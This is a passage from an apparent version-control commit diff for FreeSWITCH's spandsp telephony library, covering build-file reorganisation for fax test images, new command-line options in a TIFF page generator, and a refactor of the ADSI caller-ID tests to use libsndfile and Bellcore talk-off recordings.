-        TIFFSetField(tiff_file, TIFFTAG_FILLORDER, FILLORDER_LSB2MSB);
-    
+        TIFFSetField(tiff_file, TIFFTAG_PHOTOMETRIC, photo_metric);
+        TIFFSetField(tiff_file, TIFFTAG_FILLORDER, fill_order);
         x_resolution = sequence[i].x_res/100.0f;
         y_resolution = sequence[i].y_res/100.0f;
         TIFFSetField(tiff_file, TIFFTAG_XRESOLUTION, floorf(x_resolution*2.54f + 0.5f));

Modified: freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,72 +16,95 @@
 ## License along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.3 2008/05/03 13:05:04 steveu Exp $
+## $Id: Makefile.am,v 1.5 2009/02/25 17:52:52 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 AM_LDFLAGS = $(COMP_VENDOR_LDFLAGS)
 
 PBM2G3 = pbmtog3
 FAX2TIFF = fax2tiff
+TIFFCP = tiffcp
 
-EXTRA_DIST = itu1.pbm \
-             itu2.pbm \
-             itu3.pbm \
-             itu4.pbm \
-             itu5.pbm \
-             itu6.pbm \
-             itu7.pbm \
-             itu8.pbm \
-             test1.pbm \
-             test2.pbm \
-             test3.pbm \
-             test4.pbm
+ITU_TEST_PAGES_PBM = itu1.pbm \
+                     itu2.pbm \
+                     itu3.pbm \
+                     itu4.pbm \
+                     itu5.pbm \
+                     itu6.pbm \
+                     itu7.pbm \
+                     itu8.pbm \
+                     test1.pbm \
+                     test2.pbm \
+                     test3.pbm \
+                     test4.pbm
 
+ITU_TEST_PAGES_G3 = itu1.g3 \
+                    itu2.g3 \
+                    itu3.g3 \
+                    itu4.g3 \
+                    itu5.g3 \
+                    itu6.g3 \
+                    itu7.g3 \
+                    itu8.g3 \
+                    test1.g3 \
+                    test2.g3 \
+                    test3.g3 \
+                    test4.g3
+
+ITU_TEST_PAGES = itu1.tif \
+                 itu2.tif \
+                 itu3.tif \
+                 itu4.tif \
+                 itu5.tif \
+                 itu6.tif \
+                 itu7.tif \
+                 itu8.tif \
+                 test1.tif \
+                 test2.tif \
+                 test3.tif \
+                 test4.tif
+
+MIXED_SIZE_PAGES = R1200_1200_A4.tif \
+                   R1200_1200_B4.tif \
+                   R1200_1200_A3.tif \
+                   R600_1200_A4.tif \
+                   R600_1200_B4.tif \
+                   R600_1200_A3.tif \
+                   R600_600_A4.tif \
+                   R600_600_B4.tif \
+                   R600_600_A3.tif \
+                   R16_800_A4.tif \
+                   R16_800_B4.tif \
+                   R16_800_A3.tif \
+                   R16_154_A4.tif \
+                   R16_154_B4.tif \
+                   R16_154_A3.tif \
+                   R300_600_A4.tif \
+                   R300_600_B4.tif \
+                   R300_600_A3.tif \
+                   R300_300_A4.tif \
+                   R300_300_B4.tif \
+                   R300_300_A3.tif \
+                   R8_154_A4.tif \
+                   R8_154_B4.tif \
+                   R8_154_A3.tif \
+                   R8_77_A4.tif \
+                   R8_77_B4.tif \
+                   R8_77_A3.tif \
+                   R8_385_A4.tif \
+                   R8_385_B4.tif \
+                   R8_385_A3.tif
+
+EXTRA_DIST = ${ITU_TEST_PAGES_PBM}
+
+MAINTAINERCLEANFILES = Makefile.in
+
 nobase_data_DATA =  itutests.tif \
-                    itu1.tif \
-                    itu2.tif \
-                    itu3.tif \
-                    itu4.tif \
-                    itu5.tif \
-                    itu6.tif \
-                    itu7.tif \
-                    itu8.tif \
-                    test1.tif \
-                    test2.tif \
-                    test3.tif \
-                    test4.tif \
+                    ${ITU_TEST_PAGES} \
                     dithered.tif \
                     100pages.tif \
-                    R1200_1200_A4.tif \
-                    R1200_1200_B4.tif \
-                    R1200_1200_A3.tif \
-                    R600_1200_A4.tif \
-                    R600_1200_B4.tif \
-                    R600_1200_A3.tif \
-                    R600_600_A4.tif \
-                    R600_600_B4.tif \
-                    R600_600_A3.tif \
-                    R16_800_A4.tif \
-                    R16_800_B4.tif \
-                    R16_800_A3.tif \
-                    R16_154_A3.tif \
-                    R16_154_A4.tif \
-                    R16_154_B4.tif \
-                    R300_600_A4.tif \
-                    R300_600_B4.tif \
-                    R300_600_A3.tif \
-                    R300_300_A4.tif \
-                    R300_300_B4.tif \
-                    R300_300_A3.tif \
-                    R8_154_A3.tif \
-                    R8_154_A4.tif \
-                    R8_154_B4.tif \
-                    R8_77_A3.tif \
-                    R8_77_A4.tif \
-                    R8_77_B4.tif \
-                    R8_385_A3.tif \
-                    R8_385_A4.tif \
-                    R8_385_B4.tif
+                    ${MIXED_SIZE_PAGES} \
+                    mixed_size_pages.tif
 
 noinst_PROGRAMS =   generate_dithered_tif \
                     generate_sized_pages
@@ -95,22 +118,19 @@
 clean:
 	rm -f *.tif *.g3
 
-itutests.tif: itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 \
-              test1.g3 test2.g3 test3.g3 test4.g3
-	$(FAX2TIFF) -M -o $@ itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 \
-                test1.g3 test2.g3 test3.g3 test4.g3
+itutests.tif: ${ITU_TEST_PAGES_G3}
+	$(FAX2TIFF) -M -o $@ ${ITU_TEST_PAGES_G3}
 
-100pages.tif: itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 \
-              test1.g3 test2.g3 test3.g3 test4.g3
+100pages.tif: ${ITU_TEST_PAGES_G3}
 	$(FAX2TIFF) -M -o $@ \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
-        itu1.g3 itu2.g3 itu3.g3 itu4.g3 itu5.g3 itu6.g3 itu7.g3 itu8.g3 test1.g3 test2.g3 test3.g3 test4.g3 \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
+        ${ITU_TEST_PAGES_G3} \
         itu1.g3 itu2.g3 itu3.g3 itu4.g3
 
 .g3.tif:
@@ -122,34 +142,8 @@
 dithered.tif: generate_dithered_tif$(EXEEXT)
 	./generate_dithered_tif$(EXEEXT)
 
-R1200_1200_A4.tif \
-R1200_1200_B4.tif \
-R1200_1200_A3.tif \
-R600_1200_A4.tif \
-R600_1200_B4.tif \
-R600_1200_A3.tif \
-R600_600_A4.tif \
-R600_600_B4.tif \
-R600_600_A3.tif \
-R16_800_A4.tif \
-R16_800_B4.tif \
-R16_800_A3.tif \
-R16_154_A3.tif \
-R16_154_A4.tif \
-R16_154_B4.tif \
-R300_600_A4.tif \
-R300_600_B4.tif \
-R300_600_A3.tif \
-R300_300_A4.tif \
-R300_300_B4.tif \
-R300_300_A3.tif \
-R8_154_A3.tif \
-R8_154_A4.tif \
-R8_154_B4.tif \
-R8_77_A3.tif \
-R8_77_A4.tif \
-R8_77_B4.tif \
-R8_385_A3.tif \
-R8_385_A4.tif \
-R8_385_B4.tif: generate_sized_pages$(EXEEXT)
+${MIXED_SIZE_PAGES}: generate_sized_pages$(EXEEXT)
 	./generate_sized_pages$(EXEEXT)
+
+mixed_size_pages.tif: ${MIXED_SIZE_PAGES}
+	$(TIFFCP) ${MIXED_SIZE_PAGES} $@

Modified: freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/generate_sized_pages.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/generate_sized_pages.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/test-data/itu/fax/generate_sized_pages.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: generate_sized_pages.c,v 1.2 2008/07/10 13:34:01 steveu Exp $
+ * $Id: generate_sized_pages.c,v 1.3 2009/03/01 12:39:02 steveu Exp $
  */
 
 /*! \file */
@@ -289,6 +289,39 @@
     float x_resolution;
     float y_resolution;
     int i;
+    int opt;
+    int compression;
+    int photo_metric;
+    int fill_order;
+    
+    compression = T4_COMPRESSION_ITU_T6;
+    photo_metric = PHOTOMETRIC_MINISWHITE;
+    fill_order = FILLORDER_LSB2MSB;
+    while ((opt = getopt(argc, argv, "126ir")) != -1)
+    {
+        switch (opt)
+        {
+        case '1':
+            compression = T4_COMPRESSION_ITU_T4_1D;
+            break;
+        case '2':
+            compression = T4_COMPRESSION_ITU_T4_2D;
+            break;
+        case '6':
+            compression = T4_COMPRESSION_ITU_T6;
+            break;
+        case 'i':
+            photo_metric = PHOTOMETRIC_MINISBLACK;
+            break;
+        case 'r':
+            fill_order = FILLORDER_MSB2LSB;
+            break;
+        default:
+            //usage();
+            exit(2);
+            break;
+        }
+    }
 
     for (i = 0;  sequence[i].name;  i++)
     {
@@ -296,15 +329,15 @@
             exit(2);
 
         /* Prepare the directory entry fully before writing the image, or libtiff complains */
-        TIFFSetField(tiff_file, TIFFTAG_COMPRESSION, COMPRESSION_CCITT_T6);
+        TIFFSetField(tiff_file, TIFFTAG_COMPRESSION, compression);
         TIFFSetField(tiff_file, TIFFTAG_IMAGEWIDTH, sequence[i].width);
         TIFFSetField(tiff_file, TIFFTAG_BITSPERSAMPLE, 1);
         TIFFSetField(tiff_file, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
         TIFFSetField(tiff_file, TIFFTAG_SAMPLESPERPIXEL, 1);
         TIFFSetField(tiff_file, TIFFTAG_ROWSPERSTRIP, -1L);
         TIFFSetField(tiff_file, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
-        TIFFSetField(tiff_file, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISWHITE);
-        TIFFSetField(tiff_file, TIFFTAG_FILLORDER, FILLORDER_LSB2MSB);
+        TIFFSetField(tiff_file, TIFFTAG_PHOTOMETRIC, photo_metric);
+        TIFFSetField(tiff_file, TIFFTAG_FILLORDER, fill_order);
     
         x_resolution = sequence[i].x_res/100.0f;
         y_resolution = sequence[i].y_res/100.0f;

Modified: freeswitch/branches/seven/libs/spandsp/tests/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,7 +16,7 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.107 2008/09/18 12:05:35 steveu Exp $
+## $Id: Makefile.am,v 1.116 2009/05/30 15:23:13 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 AM_LDFLAGS = $(COMP_VENDOR_LDFLAGS)
@@ -25,7 +25,26 @@
 
 noinst_DATA = sound_c1_8k.wav sound_c3_8k.wav
 
-EXTRA_DIST = regression_tests.sh v42bis_tests.sh fax_tests.sh tsb85_tests.sh
+EXTRA_DIST = regression_tests.sh \
+             v42bis_tests.sh \
+             fax_tests.sh \
+             tsb85_tests.sh \
+             msvc/adsi_tests.vcproj \
+             msvc/complex_tests.vcproj \
+             msvc/complex_vector_float_tests.vcproj \
+             msvc/complex_vector_int_tests.vcproj \
+             msvc/dtmf_rx_tests.vcproj \
+             msvc/dtmf_tx_tests.vcproj \
+             msvc/queue_tests.vcproj \
+             msvc/t38_core_tests.vcproj \
+             msvc/t38_non_ecm_buffer_tests.vcproj \
+             msvc/t38_terminal_tests.vcproj \
+             msvc/v22bis_tests.vcproj \
+             msvc/v29_tests.vcproj \
+             msvc/v8_tests.vcproj \
+             msvc/v80_tests.vcproj \
+             msvc/vector_float_tests.vcproj \
+             msvc/vector_int_tests.vcproj
  
 MAINTAINERCLEANFILES = Makefile.in
 
@@ -65,8 +84,8 @@
                     logging_tests \
                     lpc10_tests \
                     make_g168_css \
+                    modem_connect_tones_tests \
                     modem_echo_tests \
-                    modem_connect_tones_tests \
                     noise_tests \
                     oki_adpcm_tests \
                     playout_tests \
@@ -93,6 +112,7 @@
                     tone_generate_tests \
                     tsb85_tests \
                     v17_tests \
+                    v18_tests \
                     v22bis_tests \
                     v27ter_tests \
                     v29_tests \
@@ -107,6 +127,7 @@
 
 noinst_HEADERS =    echo_monitor.h \
                     fax_tester.h \
+                    fax_utils.h \
                     line_model_monitor.h \
                     media_monitor.h \
                     modem_monitor.h
@@ -151,7 +172,7 @@
 dc_restore_tests_LDADD = $(LIBDIR) -lspandsp
 
 dds_tests_SOURCES = dds_tests.c
-dds_tests_LDADD = $(LIBDIR) -lspandsp
+dds_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 dtmf_rx_tests_SOURCES = dtmf_rx_tests.c
 dtmf_rx_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
@@ -165,7 +186,7 @@
 fax_decode_SOURCES = fax_decode.c
 fax_decode_LDADD = $(LIBDIR) -lspandsp
 
-fax_tests_SOURCES = fax_tests.c
+fax_tests_SOURCES = fax_tests.c fax_utils.c
 fax_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 fsk_tests_SOURCES = fsk_tests.c
@@ -175,7 +196,7 @@
 g1050_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 g168_tests_SOURCES = g168_tests.c
-g168_tests_LDADD = $(LIBDIR) -lspandsp
+g168_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 g711_tests_SOURCES = g711_tests.c
 g711_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
@@ -223,10 +244,10 @@
 playout_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 plc_tests_SOURCES = plc_tests.c
-plc_tests_LDADD = $(LIBDIR) -lspandsp
+plc_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 power_meter_tests_SOURCES = power_meter_tests.c
-power_meter_tests_LDADD = $(LIBDIR) -lspandsp
+power_meter_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 queue_tests_SOURCES = queue_tests.c
 queue_tests_LDADD = $(LIBDIR) -lspandsp
@@ -247,7 +268,7 @@
 sig_tone_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp 
 
 super_tone_rx_tests_SOURCES = super_tone_rx_tests.c
-super_tone_rx_tests_LDADD = $(LIBDIR) -lspandsp
+super_tone_rx_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 super_tone_tx_tests_SOURCES = super_tone_tx_tests.c
 super_tone_tx_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
@@ -255,25 +276,25 @@
 t4_tests_SOURCES = t4_tests.c
 t4_tests_LDADD = $(LIBDIR) -lspandsp
 
-t31_tests_SOURCES = t31_tests.c media_monitor.cpp
+t31_tests_SOURCES = t31_tests.c fax_utils.c media_monitor.cpp
 t31_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 t38_core_tests_SOURCES = t38_core_tests.c
 t38_core_tests_LDADD = $(LIBDIR) -lspandsp
 
-t38_gateway_tests_SOURCES = t38_gateway_tests.c media_monitor.cpp
+t38_gateway_tests_SOURCES = t38_gateway_tests.c fax_utils.c media_monitor.cpp
 t38_gateway_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
-t38_gateway_to_terminal_tests_SOURCES = t38_gateway_to_terminal_tests.c media_monitor.cpp
+t38_gateway_to_terminal_tests_SOURCES = t38_gateway_to_terminal_tests.c fax_utils.c media_monitor.cpp
 t38_gateway_to_terminal_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 t38_non_ecm_buffer_tests_SOURCES = t38_non_ecm_buffer_tests.c
 t38_non_ecm_buffer_tests_LDADD = $(LIBDIR) -lspandsp
 
-t38_terminal_tests_SOURCES = t38_terminal_tests.c media_monitor.cpp
+t38_terminal_tests_SOURCES = t38_terminal_tests.c fax_utils.c media_monitor.cpp
 t38_terminal_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
-t38_terminal_to_gateway_tests_SOURCES = t38_terminal_to_gateway_tests.c media_monitor.cpp
+t38_terminal_to_gateway_tests_SOURCES = t38_terminal_to_gateway_tests.c fax_utils.c media_monitor.cpp
 t38_terminal_to_gateway_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 time_scale_tests_SOURCES = time_scale_tests.c
@@ -285,12 +306,15 @@
 tone_generate_tests_SOURCES = tone_generate_tests.c
 tone_generate_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
-tsb85_tests_SOURCES = tsb85_tests.c fax_tester.c
+tsb85_tests_SOURCES = tsb85_tests.c fax_utils.c fax_tester.c
 tsb85_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
 v17_tests_SOURCES = v17_tests.c line_model_monitor.cpp modem_monitor.cpp
 v17_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 
+v18_tests_SOURCES = v18_tests.c
+v18_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
+
 v22bis_tests_SOURCES = v22bis_tests.c line_model_monitor.cpp modem_monitor.cpp
 v22bis_tests_LDADD = -L$(top_builddir)/spandsp-sim -lspandsp-sim $(LIBDIR) -lspandsp
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/adsi_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/adsi_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/adsi_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: adsi_tests.c,v 1.45 2008/08/29 09:28:13 steveu Exp $
+ * $Id: adsi_tests.c,v 1.57 2009/05/30 15:23:13 steveu Exp $
  */
 
 /*! \page adsi_tests_page ADSI tests
@@ -36,6 +36,9 @@
 \section adsi_tests_page_sec_2 How does it work?
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -44,26 +47,48 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
-#include <strings.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
-#define OUT_FILE_NAME   "adsi.wav"
+#define OUTPUT_FILE_NAME    "adsi.wav"
 
-#define BLOCK_LEN       160
+#define BLOCK_LEN           160
 
+#define MITEL_DIR                   "../test-data/mitel/"
+#define BELLCORE_DIR                "../test-data/bellcore/"
+
+const char *bellcore_files[] =
+{
+    MITEL_DIR    "mitel-cm7291-talkoff.wav",
+    BELLCORE_DIR "tr-tsy-00763-1.wav",
+    BELLCORE_DIR "tr-tsy-00763-2.wav",
+    BELLCORE_DIR "tr-tsy-00763-3.wav",
+    BELLCORE_DIR "tr-tsy-00763-4.wav",
+    BELLCORE_DIR "tr-tsy-00763-5.wav",
+    BELLCORE_DIR "tr-tsy-00763-6.wav",
+    ""
+};
+
 char *decode_test_file = NULL;
 
 int errors = 0;
+int basic_testing = FALSE;
 
-adsi_rx_state_t rx_adsi;
-adsi_tx_state_t tx_adsi;
+adsi_rx_state_t *rx_adsi;
+adsi_tx_state_t *tx_adsi;
 
 int current_standard = 0;
 int good_message_received;
+int log_audio = FALSE;
+SNDFILE *outhandle = NULL;
+int short_preamble = FALSE;
 
 static int adsi_create_message(adsi_tx_state_t *s, uint8_t *msg)
 {
@@ -232,7 +257,7 @@
     printf("Message breakdown\n");
     do
     {
-        l = adsi_next_field(&rx_adsi, msg, len, l, &field_type, &field_body, &field_len);
+        l = adsi_next_field(rx_adsi, msg, len, l, &field_type, &field_body, &field_len);
         if (l > 0)
         {
             if (field_body)
@@ -446,13 +471,16 @@
                     }
                     break;
                 case ADSI_STANDARD_TDD:
-                    if (len != 59
-                        ||
-                        memcmp(msg, "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 0123456789#$*()", 59))
+                    if (basic_testing)
                     {
-                        printf("\n");
-                        printf("String error\n");
-                        exit(2);
+                        if (len != 59
+                            ||
+                            memcmp(msg, "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 0123456789#$*()", 59))
+                        {
+                            printf("\n");
+                            printf("String error\n");
+                            exit(2);
+                        }
                     }
                     break;
                 }
@@ -561,32 +589,174 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int main(int argc, char *argv[])
+static void tdd_character_set_tests(void)
 {
+#if 0
+    char *s;
+    int ch;
+    int xx;
+    int yy;
+
+    /* This part tests internal static routines in the ADSI module. It can
+       only be run with a modified version of the ADSI module, which makes
+       the routines visible. */
+    /* Check the character encode/decode cycle */
+    tx_adsi = adsi_tx_init(NULL, ADSI_STANDARD_TDD);
+    rx_adsi = adsi_rx_init(NULL, ADSI_STANDARD_TDD, put_adsi_msg, NULL);
+    s = "The quick Brown Fox Jumps Over The Lazy dog 0123456789!@#$%^&*()";
+    while ((ch = *s++))
+    {
+        xx = adsi_encode_baudot(tx_adsi, ch);
+        if ((xx & 0x3E0))
+        {
+            yy = adsi_decode_baudot(rx_adsi, (xx >> 5) & 0x1F);
+            if (yy)
+                printf("%c", yy);
+        }
+        yy = adsi_decode_baudot(rx_adsi, xx & 0x1F);
+        if (yy)
+            printf("%c", yy);
+    }
+    adsi_tx_free(tx_adsi);
+    adsi_rx_free(rx_adsi);
+    printf("\n");
+#endif
+}
+/*- End of function --------------------------------------------------------*/
+
+static void basic_tests(int standard)
+{
     int16_t amp[BLOCK_LEN];
     uint8_t adsi_msg[256 + 42];
-    int adsi_msg_len;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
     int outframes;
     int len;
+    int adsi_msg_len;
+    int push;
     int i;
-    int push;
-    int log_audio;
-    int short_preamble;
+
+    basic_testing = TRUE;
+    printf("Testing %s\n", adsi_standard_to_str(standard));
+    tx_adsi = adsi_tx_init(NULL, standard);
+    if (short_preamble)
+        adsi_tx_set_preamble(tx_adsi, 50, 20, 5, -1);
+    rx_adsi = adsi_rx_init(NULL, standard, put_adsi_msg, NULL);
+
+    /* Fake an OK condition for the first message test */
+    good_message_received = TRUE;
+    push = 0;
+    for (i = 0;  i < 100000;  i++)
+    {
+        if (push == 0)
+        {
+            if ((len = adsi_tx(tx_adsi, amp, BLOCK_LEN)) == 0)
+                push = 10;
+        }
+        else
+        {
+            len = 0;
+            /* Push a little silence through, to flush things out */
+            if (--push == 0)
+            {
+                if (!good_message_received)
+                {
+                    printf("No message received %s (%d)\n", adsi_standard_to_str(standard), i);
+                    exit(2);
+                }
+                good_message_received = FALSE;
+                adsi_msg_len = adsi_create_message(tx_adsi, adsi_msg);
+                adsi_msg_len = adsi_tx_put_message(tx_adsi, adsi_msg, adsi_msg_len);
+            }
+        }
+        if (len < BLOCK_LEN)
+        {
+            memset(&amp[len], 0, sizeof(int16_t)*(BLOCK_LEN - len));
+            len = BLOCK_LEN;
+        }
+        if (log_audio)
+        {
+            outframes = sf_writef_short(outhandle,
+                                        amp,
+                                        len);
+            if (outframes != len)
+            {
+                fprintf(stderr, "    Error writing audio file\n");
+                exit(2);
+            }
+        }
+        adsi_rx(rx_adsi, amp, len);
+    }
+    adsi_rx_free(rx_adsi);
+    adsi_tx_free(tx_adsi);
+    basic_testing = FALSE;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void mitel_cm7291_side_2_and_bellcore_tests(int standard)
+{
+    int j;
+    int16_t amp[BLOCK_LEN];
+    SNDFILE *inhandle;
+    int frames;
+
+    /* The remainder of the Mitel tape is the talk-off test */
+    /* Here we use the Bellcore test tapes (much tougher), in six
+      files - 1 from each side of the original 3 cassette tapes */
+    printf("Talk-off tests for %s\n", adsi_standard_to_str(standard));
+    rx_adsi = adsi_rx_init(NULL, standard, put_adsi_msg, NULL);
+    for (j = 0;  bellcore_files[j][0];  j++)
+    {
+        printf("Testing with %s\n", bellcore_files[j]);
+        if ((inhandle = sf_open_telephony_read(bellcore_files[j], 1)) == NULL)
+        {
+            printf("    Cannot open speech file '%s'\n", bellcore_files[j]);
+            exit(2);
+        }
+        while ((frames = sf_readf_short(inhandle, amp, BLOCK_LEN)))
+        {
+            adsi_rx(rx_adsi, amp, frames);
+        }
+        if (sf_close(inhandle) != 0)
+        {
+            printf("    Cannot close speech file '%s'\n", bellcore_files[j]);
+            exit(2);
+        }
+    }
+    adsi_rx_free(rx_adsi);
+    if (j > 470)
+    {
+        printf("    Failed\n");
+        exit(2);
+    }
+    printf("    Passed\n");
+}
+/*- End of function --------------------------------------------------------*/
+
+int main(int argc, char *argv[])
+{
+    int16_t amp[BLOCK_LEN];
+    SNDFILE *inhandle;
+    int len;
     int test_standard;
     int first_standard;
     int last_standard;
     int opt;
+    int enable_basic_tests;
+    int enable_talkoff_tests;
 
     log_audio = FALSE;
     decode_test_file = NULL;
     test_standard = -1;
     short_preamble = FALSE;
-    while ((opt = getopt(argc, argv, "d:lps:")) != -1)
+    enable_basic_tests = TRUE;
+    enable_talkoff_tests = FALSE;
+    while ((opt = getopt(argc, argv, "bd:lps:t")) != -1)
     {
         switch (opt)
         {
+        case 'b':
+            enable_basic_tests = TRUE;
+            enable_talkoff_tests = FALSE;
+            break;
         case 'd':
             decode_test_file = optarg;
             break;
@@ -612,45 +782,26 @@
             else
                 test_standard = atoi(optarg);
             break;
+        case 't':
+            enable_basic_tests = FALSE;
+            enable_talkoff_tests = TRUE;
+            break;
         default:
             //usage();
             exit(2);
             break;
         }
     }
-    outhandle = AF_NULL_FILEHANDLE;
+    outhandle = NULL;
     
-#if 0
-    /* This part tests internal static routines in the ADSI module. It can
-       only be run with a modified version of the ADSI module, which makes
-       the routines visible. */
-    /* Check the character encode/decode cycle */
-    current_standard = ADSI_STANDARD_TDD;
-    adsi_tx_init(&tx_adsi, ADSI_STANDARD_TDD);
-    adsi_rx_init(&rx_adsi, ADSI_STANDARD_TDD, put_adsi_msg, NULL);
-    s = "The quick Brown Fox Jumps Over The Lazy dog 0123456789!@#$%^&*()";
-    while ((ch = *s++))
-    {
-        xx = adsi_encode_baudot(&tx_adsi, ch);
-        if ((xx & 0x3E0))
-        {
-            yy = adsi_decode_baudot(&rx_adsi, (xx >> 5) & 0x1F);
-            if (yy)
-                printf("%c", yy);
-        }
-        yy = adsi_decode_baudot(&rx_adsi, xx & 0x1F);
-        if (yy)
-            printf("%c", yy);
-    }
-    printf("\n");
-#endif
+    tdd_character_set_tests();
 
     if (decode_test_file)
     {
-        /* We will decode the audio from a wave file. */
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        /* We will decode the audio from a file. */
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
         if (test_standard < 0)
@@ -658,32 +809,32 @@
         else
             current_standard = test_standard;
 
